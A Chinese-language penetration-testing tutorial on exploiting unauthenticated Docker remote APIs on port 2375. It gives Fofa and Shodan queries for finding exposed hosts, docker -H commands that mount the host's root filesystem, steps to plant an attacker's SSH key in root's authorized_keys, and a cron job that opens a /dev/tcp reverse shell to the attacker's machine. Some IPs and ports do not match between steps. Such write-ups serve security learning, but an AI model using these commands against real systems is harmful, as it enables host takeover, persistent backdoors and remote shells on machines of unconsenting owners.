未授权访问漏洞-Docker未授权访问漏洞

漏洞成因

Docker API 未授权

漏洞发现

端口

Docker API :默认开放在2375端口

默认页面

通过url的方式调用 API ,返回 {“message”:”page not found”} 代表存在漏洞

Fofa

1
port="2375"  && protocol="docker" && country="US"

Shodan

1
port:2375 org:"Amazon.com"

漏洞利用

查看 docker 信息

可以使用 /version 、 /info 可以查看其他信息

漏洞复现

目标机器: CentOS7+Docker、IP:10.1.1.200

攻击机器:Kali+Docker、IP:10.1.1.100

进行信息收集

发现如下端口开放

22端口:ssh默认端口
2375端口:docker远程操控(通过这个端口对远程docker deaom进行操作)

1
nmap -p- -sV -T4 10.1.1.200

已知目标开放2375端口,通过浏览器进行访问,如果页面显示message “page not found” 代表存在漏洞

image-20230405132318958

如若页面空白显示

1)可以通过info获取docker信息

image-20230405132836681

2)获取image列表

image-20230405133537928

使用docker命令连接目标机器

1
docker -H tcp://10.1.1.200 ps -a   #列出所有容器

image-20230405133605921

列出所有镜像

image-20230405133623520

进入容器方法一

首先docker client连接目标,ps -a 查看哪些容器已经停止

通过start命令启动一个已经停止的容器

image-20230405133823575

attach命令连接一个已经启动的容器

image-20230405133900660

这样就能够获得一个docker容器的shell

进入容器方法二

新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)

1
docker -H tcp://10.1.1.200 run -it -v /:/mnt --entrypoint /bin/bash 4c9608fd76ba(镜像id)

也可以使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中

1
docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt sh

注意:docker run只在第一次运行时使用,将镜像放到容器中,以后再次启动这个容器时,只需要使用命令docker start 即可。

dockerrun相当于执行了两步操作:将镜像放入容器中(docker create),然后将容器启动(docker start)

docker未授权写ssh公钥获得shell:

1)启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。

首先kali生成id_rsa公钥:ssh-keygen -t rsa

image-20230405134326673

生成的公钥在/root/.ssh/ 目录下

image-20230405134431908

将生成公钥写入到目标/root/.ssh/authorized_keys文件中:

image-20230405135406821

image-20230405135355977

通过ssh进行连接,获取宿主机的shell

1
ssh root@10.0.1.200 -i id_rsa

docker未授权写定时任务获得shell

启动一个容器,挂载宿主机的目录(此前已挂载),之后将反弹shell的脚本写入到/etc/crontab中,攻击机nc -lvvp port会得到一个反弹的shell。

将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

Kali开启监听:

1
nc -lvvp 1212

写入反弹shell的脚本

****为定时任务 此处为每分钟执行一次 /bin/bash -i >& /dev/tcp/10.1.1.101/1231 0>&1

获得目标shell